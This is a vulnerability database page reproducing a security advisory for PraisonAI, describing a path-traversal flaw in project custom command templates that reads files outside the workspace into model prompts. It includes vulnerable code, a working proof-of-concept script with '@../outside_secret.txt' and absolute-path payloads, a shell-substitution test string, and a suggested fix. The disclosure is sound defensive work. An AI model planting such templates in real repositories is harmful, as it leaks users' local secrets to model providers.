VDB
Sign up
MEDIUM5.5

PYSEC-2026-4261

PraisonAI: Project custom command templates can read outside-workspace files into model prompts

Quick fix

PYSEC-2026-4261 — praisonai: upgrade to the fixed version with the command below.

pip install --upgrade 'praisonai>=4.6.78'

Details

# Project custom command templates can read outside-workspace files into model prompts

## Summary

PraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt.

The interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.

This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.

## Technical Details

The feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main:

```text current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab current describe: v4.6.64-8-g3aa9cbc2 ```

`src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands.

`interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory:

```python return interpolator.interpolate(command.template, arguments, Path.cwd()) ```

`TemplateInterpolator._interpolate_files()` then matches every `@([^\s]+)` token and reads the referenced file:

```python if working_dir: file_path = working_dir / file_path_str else: file_path = Path(file_path_str)

if file_path.exists() and file_path.is_file(): with open(file_path, 'r') as f: return f.read() ```

There is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / "/absolute/path"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened.

The sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`.

## PoV

A minimal vulnerable repository only needs a project command template and an outside file:

```text workspace/ .git/ .praisonai/ commands/ relative_escape.md # contains @../outside_secret.txt absolute_escape.md # contains an absolute path outside workspace inside.txt outside_secret.txt ```

When the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`.

The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.

## PoC

From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required.

```bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab

python3 - "$PWD" <<'PY' from __future__ import annotations

import importlib.util import json import os import subprocess import sys import tempfile import types from pathlib import Path

CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace"

def install_yaml_fallback_if_needed() -> str: if importlib.util.find_spec("yaml") is not None: return "installed"

yaml_stub = types.ModuleType("yaml")

class YAMLError(Exception): pass

def safe_load(text: str): data = {} for raw_line in text.splitlines(): line = raw_line.strip() if not line or line.startswith("#") or ":" not in line: continue key, value = line.split(":", 1) data[key.strip()] = value.strip().strip("'\"") return data

yaml_stub.safe_load = safe_load yaml_stub.YAMLError = YAMLError sys.modules["yaml"] = yaml_stub return "stubbed"

def add_source_to_path(source_root: Path) -> None: candidate = source_root / "src" / "praisonai" if (candidate / "praisonai").exists(): sys.path.insert(0, str(candidate)) return raise SystemExit(f"Could not find PraisonAI sources below {source_root}")

class pushd: def __init__(self, path: Path): self.path = path self.old = Path.cwd()

def __enter__(self): os.chdir(self.path)

def __exit__(self, *_exc): os.chdir(self.old)

def write_command(commands_dir: Path, name: str, body: str) -> None: commands_dir.mkdir(parents=True, exist_ok=True) (commands_dir / f"{name}.md").write_text( "---\n" f"description: {name}\n" "---\n" f"{body}\n", encoding="utf-8", )

source_root = Path(sys.argv[1]).resolve() yaml_dependency = install_yaml_fallback_if_needed() add_source_to_path(source_root)

from praisonai.cli.features.custom_definitions import interpolate_command_template

with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp: temp_root = Path(tmp).resolve() workspace = temp_root / "workspace" workspace.mkdir() subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)

inside = workspace / "inside.txt" outside = temp_root / "outside_secret.txt" inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8") outside.write_text(f"{CANARY}\n", encoding="utf-8")

commands_dir = workspace / ".praisonai" / "commands" write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt") write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}") write_command(commands_dir, "inside_control", "Review inside:\n@inside.txt") write_command(commands_dir, "missing_control", "Missing stays literal:\n@missing.txt") write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)")

with pushd(workspace): relative_result = interpolate_command_template("relative_escape", "operator argument") absolute_result = interpolate_command_template("absolute_escape", "operator argument") inside_result = interpolate_command_template("inside_control", "operator argument") missing_result = interpolate_command_template("missing_control", "operator argument") shell_result = interpolate_command_template("shell_control", "operator argument")

result = { "vulnerable": all( [ CANARY in (relative_result or ""), CANARY in (absolute_result or ""), "INSIDE_FILE=allowed" in (inside_result or ""), "@missing.txt" in (missing_result or ""), not (workspace / "SHOULD_NOT_EXIST").exists(), ] ), "expectations": { "relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""), "absolute_path_discloses_outside_file": CANARY in (absolute_result or ""), "inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""), "missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""), "shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(), }, "samples": { "relative_escape": relative_result, "absolute_escape": absolute_result, "inside_control": inside_result, "missing_control": missing_result, "shell_control": shell_result, }, "yaml_dependency": yaml_dependency, }

print(json.dumps(result, indent=2, sort_keys=True)) raise SystemExit(0 if result["vulnerable"] else 1) PY ```

Expected vulnerable output:

```json { "expectations": { "absolute_path_discloses_outside_file": true, "inside_control_expands_workspace_file": true, "missing_control_leaves_missing_reference": true, "relative_parent_traversal_discloses_outside_file": true, "shell_control_does_not_create_file": true }, "samples": { "absolute_escape": "Review absolute outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n", "inside_control": "Review inside:\nINSIDE_FILE=allowed\n", "missing_control": "Missing stays literal:\n@missing.txt", "relative_escape": "Review outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n", "shell_control": "Shell substitution is escaped:\n\\$(touch SHOULD_NOT_EXIST)" }, "vulnerable": true, "yaml_dependency": "installed" } ```

The PoC does not contact a model provider or any external service. It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`.

## Impact

An attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.

This report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.

Suggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.

Suggested CVSS 3.1 vector:

```text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N ```

Relevant CWEs:

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

## Suggested Fix

Resolve command `@path` references through a single containment helper before opening files:

1. Resolve the project root or intended command workspace once. 2. For relative references, join to that root and then call `resolve()`. 3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed. 4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation. 5. Apply the same boundary to project and user command templates. 6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping.

Minimal shape:

```python def resolve_command_file(root: Path, value: str) -> Path: root = root.resolve() candidate = Path(value) if not candidate.is_absolute(): candidate = root / candidate resolved = candidate.resolve() try: resolved.relative_to(root) except ValueError as exc: raise PermissionError(f"command file reference escapes workspace: {value}") from exc return resolved ```

## Affected Package/Versions

The feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`.

```text introducing commit: 88cf0c29 earliest affected release observed: v4.6.65 latest affected release observed: v4.6.71 latest PyPI version checked: 4.6.71 unaffected sampled tag: v4.6.64 fixed version: none identified yet ```

Affected package entry:

```text Ecosystem: pip Package: praisonai Vulnerable versions: >= 4.6.65 Patched versions: none yet ```

## Advisory History

No checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation.

The closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`.

Other checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.

## References

- PraisonAI repository: https://github.com/MervinPraison/PraisonAI - Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29 - Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab - Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx - PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-200: https://cwe.mitre.org/data/definitions/200.html

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/praisonai
Introduced in: 0Fixed in: 4.6.78
Fixpip install --upgrade 'praisonai>=4.6.78'

References